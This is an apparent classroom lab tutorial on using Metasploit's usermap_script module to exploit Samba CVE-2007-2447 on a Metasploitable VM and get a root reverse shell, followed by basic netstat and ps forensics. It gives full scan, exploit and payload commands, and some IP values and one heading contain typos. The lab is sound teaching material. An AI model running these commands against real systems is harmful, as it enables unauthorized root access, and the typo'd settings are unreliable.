ComputerSecurityStudent (CSS) [Login] [Join Now]




|SECURITY TOOLS >> Metasploitable Project >> Exploits >> Current Page |Views: 34336

(Metasploitable Project: Lesson 3)

{ Exploiting Samba, CVE-2007-2447: Remote Command Injection }


Section 0. Background Information
  1. Metasploitable 
  2. Pre-Requisite Lab
  3. Exploit CVE 2007-2447
    • The MS-RPC functionality in smbd in Samba 3.0.0 through 3.0.25rc3 allows remote attackers to execute arbitrary commands via shell metacharacters involving the (1) SamrChangePassword function, when the "username map script" smb.conf option is enabled, and allows remote authenticated users to execute commands via shell metacharacters involving other MS-RPC functions in the (2) remote printer and (3) file share management.
    • The root cause is passing unfiltered user input provided via MS-RPC calls to /bin/sh when invoking externals scripts defined in smb.conf.
    • http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-2447

  4. Other References
  5. Lab Notes
    • In this lab we will do the following:
      1. Run an intense NMAP Scan on the Metasploitable VM
      2. Search for the samba daemon
      3. Use Metasploit to exploit the samba daemon to obtain root

  6. Legal Disclaimer
    • As a condition of your use of this Web site, you warrant to computersecuritystudent.com that you will not use this Web site for any purpose that is unlawful or that is prohibited by these terms, conditions, and notices.
    • In accordance with UCC § 2-316, this product is provided with "no warranties, either express or implied." The information contained is provided "as-is", with "no guarantee of merchantability."
    • In addition, this is a teaching website that does not condone malicious behavior of any kind.
    • Your are on notice, that continuing and/or using this lab outside your "own" test environment is considered malicious and is against the law.
    • © 2013 No content replication of any kind is allowed without express written permission.

 

Section 1: Start Up the Metasploitable VM
  1. Start Up VMWare Player
    • Instructions:
      1. Click the Start Button
      2. Type Vmplayer in the search box
      3. Click on Vmplayer

     

  2. Open a Virtual Machine
    • Instructions:
      1. Click on Open a Virtual Machine

     

  3. Open the Metasploitable VM
    • Instructions:
      1. Navigate to where the Metasploitable VM is located
      2. Click on on the Metasploitable VM
      3. Click on the Open Button

     

  4. Edit the Metasploitable VM
    • Instructions:
      1. Select Metasploitable2-Linux VM
      2. Click Edit virtual machine settings

     

  5. Edit the Metasploitable VM
    • Instructions:
      1. Click on "Network Adapter NAT"
      2. Select the radio button "Bridged: Connected directly to the physical network"
      3. Click on the OK button
    • Warning:
      • By changing from NAT to Bridged opens the VM and network up to potential attacks.
      • To maintain a safe network, you could (1) skip this section and only use the host-only network, (2) unplug your router from the internet, (3) use an ACL to not allow traffic into your network, etc.

     

  6. Play the Metasploitable VM
    • Instructions:
      1. Click on the Metasploitable VM
      2. Click on Play virtual machine

 

Section 2: Determine Metasploitable IP Address
  1. Logging into Metasploitable
    • Instructions
      1. Username: msfadmin
      2. Password: msfadmin or whatever you changed it to in lesson 1.

     

  2. Change the msfadmin password
    • Instructions:
      1. ifconfig -a
    • Note(FYI):
      • This is the IP Address of the Victim Machine.
      • My IP Address is 192.168.1.112.
      • Record your IP Address.

 

Section 4: Start Up the BackTrack5R1 VM
  1. Start Up VMWare Player
    • Instructions:
      1. Click the Start Button
      2. Type Vmplayer in the search box
      3. Click on Vmplayer

     

  2. Open a Virtual Machine
    • Instructions:
      1. Click on Open a Virtual Machine

     

  3. Open the BackTrack5R1 VM
    • Instructions:
      1. Navigate to where the BackTrack5R1 VM is located
      2. Click on on the BackTrack5R1 VM
      3. Click on the Open Button

     

  4. Edit the BackTrack5R1 VM
    • Instructions:
      1. Select BackTrack5R1 VM
      2. Click Edit virtual machine settings

     

  5. Edit Virtual Machine Settings
    • Instructions:
      1. Click on Network Adapter
      2. Click on the Bridged Radio button
      3. Click on the OK Button

     

  6. Play the BackTrack5R1 VM
    • Instructions:
      1. Click on the BackTrack5R1 VM
      2. Click on Play virtual machine

     

  7. Login to BackTrack
    • Instructions:
      1. Login: root
      2. Password: toor or <whatever you changed it to>.

     

  8. Bring up the GNOME
    • Instructions:
      1. Type startx

     

  9. Start up a terminal window
    • Instructions:
      1. Click on the Terminal Window

     

  10. Obtain the IP Address
    • Instructions:
      1. ifconfig -a
    • Note(FYI):
      • My IP address 192.168.1.108.
      • In your case, it will probably be different.
      • This is the machine that will be use to attack the victim machine (Metasploitable).

 

Section 5: Scanning the Victim with NMAP
  1. Run Intense NMAP Scan on the Metasploitable VM
    • Instructions:
      1. Obtain your Metasploitable IP address from (Section 2, Step 2)
      2. In the following step, replace 192.168.1.112 with your Metasploitable IP address.
      3. nmap -p 1-65535 -T4 -A -v 192.168.1.112 2>&1 | tee /var/tmp/scan.txt
    • Note(FYI):
      • This intense NMAP scan could take 3 to 5 minutes to run.

     

  2. Looking for distccd
    • Instructions:
      1. cd /var/tmp
      2. grep -i samba /var/tmp/scan.txt
    • Note(FYI):
      • Samba usually runs on ports 139 and 445.

 

Section 6: Attacking the Victim with Metasploit
  1. Start Up Metasploit msfconsole
    • Instructions:
      1. Applications --> BackTrack --> Exploitation Tools --> Network Exploitation Tools --> Metasploit Framework --> msfconsole.
    • Note(FYI):
      • Metasploit takes about 5 to 20 seconds to start up.

     

  2. msfconsole screen
    • Note(FYI):
      • This is the msfconsole
      • Your picture (Rabbit, Cow, Graffit, Cyber Missle, etc) will probably be different than mine.

     

  3. Search for Metasploit Module
    • Instructions:
      1. search samba
      2. Highlight exploit/multi/samba/usermap_script
      3. Select Copy

     

  4. Set Metasploit Module
    • Instructions:
      1. use exploit/multi/samba/usermap_script
    • Note(FYI):
      • This the name of the exploit that will be used to attack Samba.

     

  5. Choose Metasploit Payloads
    • Instructions:
      1. show payloads
      2. set payload cmd/unix/reverse
    • Note(FYI):
      • A payload is the piece of software that lets you control a computer system after it’s been exploited. The payload is typically attached to and delivered by the exploit. Just imagine an exploit that carries the payload in its backpack when it breaks into the system and then leaves the backpack there.

     

  6. Show Metasploit Options
    • Note(FYI):
      • Replace 192.168.1.112 with the Metasploitable IP Address obtained from (Section 2, Step 2).
      • Replace 192.168.1.108 with the BackTrack IP Address obtained from (Section 4, Step 10).
    • Instructions:
      1. show options
      2. set RHOST 192.168.112
        • This is Metasploitable's IP Address (Victim)
      3. set RPORT 445
      4. set LHOST 192.168.108
        • This is BackTrack's IP Address (Attacker)

     

  7. Metasploit Exploit (Obtaining root access)
    • Note(FYI):
      • Once the exploit command is executed, the following commands will actually be run on the Metasploitable VM: hostname, uname -a, whoami, netstat, and ps -eaf.
    • Instructions:
      1. exploit
      2. hostname
      3. uname -a
      4. whoami
        • Notice the user is root!!!
      5. netstat -naop | grep 4444 > /var/tmp/samba.txt
      6. ps -eaf | grep 4444 >> /var/tmp/samba.txt

 

Section 7: Basic System Network Forensics
  1. Become Root on the metasploitable VM
    • Note(FYI):
      • The following commands will be ran on the Metasploitable VM.
    • Instructions:
      1. sudo su -
      2. Supply your msfadmin password

     

  2. Piecing Together Network Connections and Process IDs
    • Note(FYI):
      • Pay attention to the below picture when grepping.
    • Instructions:
      1. netstat -naop | grep 4444
      2. ps -eaf | grep 5374 | grep -v grep
        • Use your PID associated with the first telnet line
      3. ps -eaf | grep 5377 | grep -v grep
        • Use your PID associated with the second telnet line
      4. ps -eaf | grep 4444 | grep -v grep
        • I am trying to see any process references 4444 in its' string.

     

Section 8: Proof of Lab
  1. Proof of Lab
    • Instructions:
      1. cat /var/tmp/samba.txt
      2. date
      3. echo "Your Name"
        • Replace the string "Your Name" with your actual name.
        • e.g., echo "John Gray"
    • Proof of Lab Instructions
      1. Press both the <Ctrl> and <Alt> keys at the same time.
      2. Do a <PrtScn>
      3. Paste into a word document
      4. Upload to Moodle


Help ComputerSecurityStudent
pay for continued research,
resources & bandwidth